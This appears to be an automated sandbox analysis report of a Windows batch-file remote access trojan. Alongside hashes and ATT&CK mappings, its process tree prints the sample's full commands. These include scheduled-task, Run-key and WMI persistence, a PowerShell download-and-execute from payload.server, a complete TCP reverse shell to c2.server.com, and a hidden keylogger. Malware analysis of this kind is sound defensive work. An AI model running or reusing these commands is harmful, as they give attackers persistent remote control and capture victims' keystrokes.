5dc355ce0220158d480f07698922a833cfb126f4eca26272618ee42c89a18e82

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:25

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General

Target
rat_build_52845_014217.bat
Size 4KB
Sample260529-2b18yaa18x
SHA256 5dc355ce0220158d480f07698922a833cfb126f4eca26272618ee42c89a18e82
MD5 1da186f3996e7ba7d8e6820c23756d34
SHA1 ddf1d47289f81168265c2241b60bfd59ec4c6c98
SHA512 4e7dec450a69e3b504a09a96b0b096ac039d67a3b398555aef1c419c29842e5a75dd9427afd6b67a41515ff882d8f3ea5358ecd1ba5e5ab34214de0c5ce45206
SSDEEP 96:WIlyeWu1X6UOceP4UG6VojLFQvBKUGHEql07csXfw2ntggHdS+iFgZk8mvlo17h:Wru1MPeWy8ql/CwwguiFgkHlyh
TLSH
T114A1F8333357612084B0156CDA3338955BACE7FB1355CA8DBA88CCC05A4CE87919CAFB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_52845.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3816	powershell.exe
3380	powershell.exe
2624	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_52845 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_52845.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1296	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1456	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4016	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2508	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3816	powershell.exe
3816	powershell.exe
3380	powershell.exe
3380	powershell.exe
2624	powershell.exe
2624	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3792	WMIC.exe
Token: SeSecurityPrivilege	3792	WMIC.exe
Token: SeTakeOwnershipPrivilege	3792	WMIC.exe
Token: SeLoadDriverPrivilege	3792	WMIC.exe
Token: SeSystemProfilePrivilege	3792	WMIC.exe
Token: SeSystemtimePrivilege	3792	WMIC.exe
Token: SeProfSingleProcessPrivilege	3792	WMIC.exe
Token: SeIncBasePriorityPrivilege	3792	WMIC.exe
Token: SeCreatePagefilePrivilege	3792	WMIC.exe
Token: SeBackupPrivilege	3792	WMIC.exe
Token: SeRestorePrivilege	3792	WMIC.exe
Token: SeShutdownPrivilege	3792	WMIC.exe
Token: SeDebugPrivilege	3792	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3792	WMIC.exe
Token: SeRemoteShutdownPrivilege	3792	WMIC.exe
Token: SeUndockPrivilege	3792	WMIC.exe
Token: SeManageVolumePrivilege	3792	WMIC.exe
Token: 33	3792	WMIC.exe
Token: 34	3792	WMIC.exe
Token: 35	3792	WMIC.exe
Token: 36	3792	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3792	WMIC.exe
Token: SeSecurityPrivilege	3792	WMIC.exe
Token: SeTakeOwnershipPrivilege	3792	WMIC.exe
Token: SeLoadDriverPrivilege	3792	WMIC.exe
Token: SeSystemProfilePrivilege	3792	WMIC.exe
Token: SeSystemtimePrivilege	3792	WMIC.exe
Token: SeProfSingleProcessPrivilege	3792	WMIC.exe
Token: SeIncBasePriorityPrivilege	3792	WMIC.exe
Token: SeCreatePagefilePrivilege	3792	WMIC.exe
Token: SeBackupPrivilege	3792	WMIC.exe
Token: SeRestorePrivilege	3792	WMIC.exe
Token: SeShutdownPrivilege	3792	WMIC.exe
Token: SeDebugPrivilege	3792	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3792	WMIC.exe
Token: SeRemoteShutdownPrivilege	3792	WMIC.exe
Token: SeUndockPrivilege	3792	WMIC.exe
Token: SeManageVolumePrivilege	3792	WMIC.exe
Token: 33	3792	WMIC.exe
Token: 34	3792	WMIC.exe
Token: 35	3792	WMIC.exe
Token: 36	3792	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4948	WMIC.exe
Token: SeSecurityPrivilege	4948	WMIC.exe
Token: SeTakeOwnershipPrivilege	4948	WMIC.exe
Token: SeLoadDriverPrivilege	4948	WMIC.exe
Token: SeSystemProfilePrivilege	4948	WMIC.exe
Token: SeSystemtimePrivilege	4948	WMIC.exe
Token: SeProfSingleProcessPrivilege	4948	WMIC.exe
Token: SeIncBasePriorityPrivilege	4948	WMIC.exe
Token: SeCreatePagefilePrivilege	4948	WMIC.exe
Token: SeBackupPrivilege	4948	WMIC.exe
Token: SeRestorePrivilege	4948	WMIC.exe
Token: SeShutdownPrivilege	4948	WMIC.exe
Token: SeDebugPrivilege	4948	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4948	WMIC.exe
Token: SeRemoteShutdownPrivilege	4948	WMIC.exe
Token: SeUndockPrivilege	4948	WMIC.exe
Token: SeManageVolumePrivilege	4948	WMIC.exe
Token: 33	4948	WMIC.exe
Token: 34	4948	WMIC.exe
Token: 35	4948	WMIC.exe
Token: 36	4948	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4948	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3684 wrote to memory of 2508	3684	cmd.exe	88
PID 3684 wrote to memory of 4016	3684	cmd.exe	89
PID 3684 wrote to memory of 3792	3684	cmd.exe	90
PID 3684 wrote to memory of 4948	3684	cmd.exe	91
PID 3684 wrote to memory of 5028	3684	cmd.exe	92
PID 3684 wrote to memory of 1456	3684	cmd.exe	100
PID 3684 wrote to memory of 1296	3684	cmd.exe	104
PID 3684 wrote to memory of 3816	3684	cmd.exe	105
PID 3684 wrote to memory of 3380	3684	cmd.exe	106
PID 3684 wrote to memory of 2624	3684	cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_52845_014217.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3684
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_52845" /tr "C:\Users\Admin\AppData\Local\Temp\_52845.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2508
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_52845" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_52845.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4016
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_52845", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3792
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_52845", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_52845.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4948
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_52845.txt
  2⤵
  PID:5028
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1456
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_52845.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2624

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1e4c77cc02726a0500e0d319a506f641f9a09722f0635b63e19accf7569a1c68
MD5 51627f14440b2b1a6773a55c56a8cced
SHA1 f8e7e6be03a631e2398138fbda19b2f1c056d43e
SHA512 9f8b60808360d31c9271c45b5727e9822513f17e790f1e34d646f031115f1e8aca865f9a3b2f877f83e650a84c617cca6f357285ec1a136829735d04065fb99b
TLSH
T175117627F39CC921CC96153A409DAD1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 20a6a25748351164ef9a33b1b09e4e3b12bc101a3d12891d00669a15b2b25bdf
MD5 3d60e7c9ef409fbfd9e405db511fefc5
SHA1 04e823c0c2bef7c9326bdad006e6e946ceec3e74
SHA512 cf92ca9de6860785cf0c10c4c04452afc64d87cc2a11990f506bec0bc5fe99346fa87e4e9808cd09c3d079232f5400d6fcd57cd976316f36941fc672fe97747c
TLSH
T150115727B39C89A1CC96163A409D9C1172B783D7409EDEDF6BC0D214E1BF584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_ana4yxtl.q5d.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ana4yxtl.q5d.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3816-3-0x000001B3F4650000-0x000001B3F4672000-memory.dmp

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